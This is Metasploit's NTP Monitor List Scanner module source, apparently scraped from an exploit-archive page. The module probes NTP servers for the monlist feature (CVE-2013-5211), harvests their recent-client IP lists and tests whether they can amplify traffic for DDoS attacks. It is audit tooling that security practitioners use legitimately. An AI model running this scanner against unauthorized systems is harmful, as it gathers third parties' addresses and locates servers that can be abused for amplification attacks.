Share
## https://sploitus.com/exploit?id=PACKETSTORM:180966
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::UDPScanner  
include Msf::Auxiliary::NTP  
include Msf::Auxiliary::DRDoS  
  
def initialize  
super(  
'Name' => 'NTP Monitor List Scanner',  
'Description' => %q{  
This module identifies NTP servers which permit "monlist" queries and  
obtains the recent clients list. The monlist feature allows remote  
attackers to cause a denial of service (traffic amplification)  
via spoofed requests. The more clients there are in the list, the  
greater the amplification.  
},  
'References' =>  
[  
['CVE', '2013-5211'],  
['URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA14-013A'],  
['URL', 'https://support.ntp.org/bin/view/Main/SecurityNotice'],  
['URL', 'https://nmap.org/nsedoc/scripts/ntp-monlist.html'],  
],  
'Author' => 'hdm',  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptInt.new('RETRY', [false, "Number of tries to query the NTP server", 3]),  
OptBool.new('SHOW_LIST', [false, 'Show the recent clients list', false])  
])  
  
register_advanced_options(  
[  
OptBool.new('StoreNTPClients', [true, 'Store NTP clients as host records in the database', false])  
])  
end  
  
# Called for each response packet  
def scanner_process(data, shost, sport)  
@results[shost] ||= { messages: [], peers: [] }  
@results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new.read(data).to_binary_s  
@results[shost][:peers] << extract_peer_tuples(data)  
end  
  
# Called before the scan block  
def scanner_prescan(batch)  
@results = {}  
@aliases = {}  
@probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 42, "\0" * 40).to_binary_s  
end  
  
# Called after the scan block  
def scanner_postscan(batch)  
@results.keys.each do |k|  
response_map = { @probe => @results[k][:messages] }  
peer = "#{k}:#{rport}"  
  
# TODO: check to see if any of the responses are actually NTP before reporting  
report_service(  
:host => k,  
:proto => 'udp',  
:port => rport,  
:name => 'ntp'  
)  
  
peers = @results[k][:peers].flatten(1)  
unless peers.empty?  
print_good("#{peer} NTP monlist request permitted (#{peers.length} entries)")  
# store the peers found from the monlist  
report_note(  
:host => k,  
:proto => 'udp',  
:port => rport,  
:type => 'ntp.monlist',  
:data => {:monlist => peers}  
)  
# print out peers if desired  
if datastore['SHOW_LIST']  
peers.each do |ntp_peer|  
print_status("#{peer} #{ntp_peer}")  
end  
end  
# store any aliases for our target  
report_note(  
:host => k,  
:proto => 'udp',  
:port => rport,  
:type => 'ntp.addresses',  
:data => {:addresses => peers.map { |p| p.last }.sort.uniq }  
)  
  
if (datastore['StoreNTPClients'])  
print_status("#{peer} Storing #{peers.length} NTP client hosts in the database...")  
peers.each do |r|  
maddr,mport,mserv = r  
next if maddr == '127.0.0.1' # some NTP servers peer with themselves..., but we can't store loopback  
report_note(  
:host => maddr,  
:type => 'ntp.client.history',  
:data => {  
:address => maddr,  
:port => mport,  
:server => mserv  
}  
)  
end  
end  
end  
  
vulnerable, proof = prove_amplification(response_map)  
what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)'  
if vulnerable  
print_good("#{peer} - Vulnerable to #{what}: #{proof}")  
report_vuln({  
:host => k,  
:port => rport,  
:proto => 'udp',  
:name => what,  
:refs => self.references  
})  
else  
vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}")  
end  
end  
  
end  
  
# Examine the monlist response +data+ and extract all peer tuples (saddd, dport, daddr)  
def extract_peer_tuples(data)  
return [] if data.length < 76  
  
# NTP headers 8 bytes  
ntp_flags, ntp_auth, ntp_vers, ntp_code = data.slice!(0,4).unpack('C*')  
pcnt, plen = data.slice!(0,4).unpack('nn')  
return [] if plen != 72  
  
idx = 0  
peer_tuples = []  
1.upto(pcnt) do  
# u_int32 firsttime; /* first time we received a packet */  
# u_int32 lasttime; /* last packet from this host */  
# u_int32 restr; /* restrict bits (was named lastdrop) */  
# u_int32 count; /* count of packets received */  
# u_int32 addr; /* host address V4 style */  
# u_int32 daddr; /* destination host address */  
# u_int32 flags; /* flags about destination */  
# u_short port; /* port number of last reception */  
  
_,_,_,_,saddr,daddr,_,dport = data[idx, 30].unpack("NNNNNNNn")  
  
peer_tuples << [ Rex::Socket.addr_itoa(saddr), dport, Rex::Socket.addr_itoa(daddr) ]  
idx += plen  
end  
peer_tuples  
end  
end